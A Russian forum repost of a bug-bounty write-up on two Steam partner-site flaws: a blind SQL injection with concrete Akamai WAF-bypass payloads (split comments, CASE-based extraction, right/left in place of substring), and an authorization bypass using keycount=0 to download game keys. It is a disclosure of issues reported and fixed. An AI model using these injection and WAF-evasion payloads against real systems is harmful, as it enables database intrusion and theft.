Как пользователь Habr`a взломал Steam

AnGel

Администратор
Команда форума
27 Авг 2015
3,266
1,871
113


1. SQL Injection

Сервис partner.steampowered.com предназначен для получения финансовой информации партнеров Steam. На странице отчётов о продажах рисуется график с кнопками, которые меняют период отображения статистики. Вот они в зелёненьком прямоугольнике:



Запрос загрузки статистики выглядит вот так:


где «UA» — это код страны.

Ну что ж, пришло время кавычек!
Давайте пробуем «UA'»:



Статистика НЕ вернулась, чего и следовало ожидать.

Теперь «UA''»:



Статистика снова вернулась и это похоже на инъекцию!
Допустим что инструкция к базе данных выглядит таким образом:
SQL:
SELECT * FROM countries WHERE country_code = `UA`;
Если отправить UA’, то инструкция к базе данных будет:
SQL:
SELECT * FROM countries WHERE country_code = `UA``;
Заметили лишнюю кавычку? А это значит, что инструкция невалидна.
Соответсвенно синтаксису SQL — запрос ниже вполне валиден (лишних кавычек нет):
SQL:
SELECT * FROM countries WHERE country_code = `UA```;

Обратите внимание, мы имеем дело с массивом countryFilter[]. Я предположил, что если в запросе продублировать параметр countryFilter[] несколько раз, то все значения, которые мы отправим, будут объединены в SQL запросе таким образом:
SQL:
'value1', 'value2', 'value3'
Проверяем и убеждаемся:



Фактически, мы запросили у БД статистику трёх стран:
SQL:
`UA`, `,` ,`RU`
Синтаксис верный — статистика вернулась :)

Обход Web Application Firewall

Сервера Steam прячутся за Akamai WAF. Данное безобразие вставляет палки в колёса хорошим (и не очень) хакерам. Однако, мне удалось одолеть его благодаря объединению значений массива в один запрос (то что я объяснил выше) и комментированию. Для начала убедимся в наличии последнего:

Код:
?countryFilter[]=UA`/*&countryFilter[]=*/,`RU
Запрос валиден, значит в нашем ассортименте есть комментарии.

У нас было несколько вариантов синтаксиса, локальные базы для тестирования пэйлоадов, символы комментариев и бесконечное множество кавычек всех кодировок, а также самописные скрипты на пайтоне, документация по всем базам данных, инструкции по обходу файрволов, википедия и античат. Не то чтобы это был необходимый запас для раскрутки инъекции, но раз уж начал ломать базу данных, то сложно остановиться...
WAF блокирует запрос, когда встречает в нём функцию. Вы знали, что DB_NAME/**/() — вполне валидный вызов функции? Файрвол тоже знает и блокирует. Но, благодаря этой фиче, мы можем разделить вызов функции на два параметра!

Код:
?countryFilter[]=UA’,DB_NAME/*&countryFilter[]=*/(),’RU
Мы отправили заспрос с DB_NAME/*всёчтоугодно*/() — WAF ничего не понял, а вот база данных успешно обработала такую инструкцию.

Получение значений из базы данных

Итак, пример получения длины значения DB_NAME():
Код:
https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter[]=',(SELECT/*&countryFilter[]=*/CASE/**/WHEN/*&countryFilter[]=*/(len(DB_NAME/*&countryFilter[]=*/())/*&countryFilter[]=*/=1)/**/THEN/**/'UA'/**/ELSE/*&countryFilter[]=*/'qwerty'/**/END),'
По-SQLному:
SQL:
SELECT CASE WHEN (len(DB_NAME())= 1) THEN 'UA' ELSE 'qwerty' END
Ну и по-человечески:
Код:
Если длина DB_NAME() равна "1", то результат  “UA”, иначе результат “qwerty”.
Это значит, что если сравнение истинно, то в ответ получим статистику для страны «UA». Не сложно догадаться, что перебирая значения от 1 до бесконечности, мы рано или поздно найдём верное.
Таким же способом можно перебирать текстовые значения:
Код:
Если первый символ  DB_NAME() равен “a”, то "UA", иначе "qwerty".
Обычно для получения N-ого символа используют функцию «substring», но WAF упорно её блокировал. Тут на помощь пришла комбинация:
Код:
right(left(system_user,N),1)
Как это работает? Получаем N символов значения system_user из которых забираем последний.
Представим, что system_user = “steam”. Вот так будет выглядеть получение третьего символа:


Код:
left(system_user,3) = ste
right(“ste”,1) = e
С помощью простого скрипта этот процесс был автоматизирован и я получил hostname, system_user, version и названия всех БД. Этой информации более чем достаточно (последнее даже лишнее, но было интересно) для демонстрации критичности.

Через 5 часов уязвимость была исправленна, однако статус triaged (принята) ей выставили через 8 часов и, чёрт возьми, для меня это были очень сложные 3 часа за которые мой мозг успел пережить стадии от отрицания до принятия.

2. Получение всех ключей от любой игры

В интерфейсе партнера Steam существует функциональность генерации ключей к играм.
Скачать сгенерированный набор ключей можно с помощью запроса:
Код:
https://partner.steamgames.com/partnercdkeys/assignkeys/

&sessionid=xxxxxxxxxxxxx&keyid=123456&sourceAccount=xxxxxxxxx&appid=xxxxxx&keycount=1&generateButton=Download
В этом запросе параметр keyid – id набора ключей, а keycount – количество ключей, которое необходимо получить из данного набора.

Конечно же, руки мгновенно потянулись вбивать разные keyid, но в ответ меня ждала ошибка: «Couldn`t generate CD keys: No assignment for user.». Оказалось, не всё так просто, и Steam проверял принадлежит ли мне запрошенный набор ключей. Как же я обошёл данную проверку? Внимание…
Код:
keycount=0
Сгенерировался файл с 36,000 ключей от игры Portal 2. Вау.
Только в одном наборе оказалось такое количество ключей. А всего наборов на данный момент более 430,000. Таким образом, перебирая значения keyid япотенциальный злоумышленник мог скачать все ключи, когда-либо сгенерированные разработчиками игр Steam.

Выводы
  • Дорогостоящие WAF системы от топовых компаний далеко не гарантия безопасности ваших веб-приложений.
  • Если вы охотник за багами, то старайтесь проникнуть как можно глубже. Чем меньше пользователей имеют доступ к интерфейсу, тем больше вероятности найти в этом интерфейсе уязвимость.
  • Разработчики и владельцы бизнеса, абсолютно безопасных приложений нет! Но вы держитесь. Хорошего вам настроения!
 
  • Лайк
Reactions: xacked555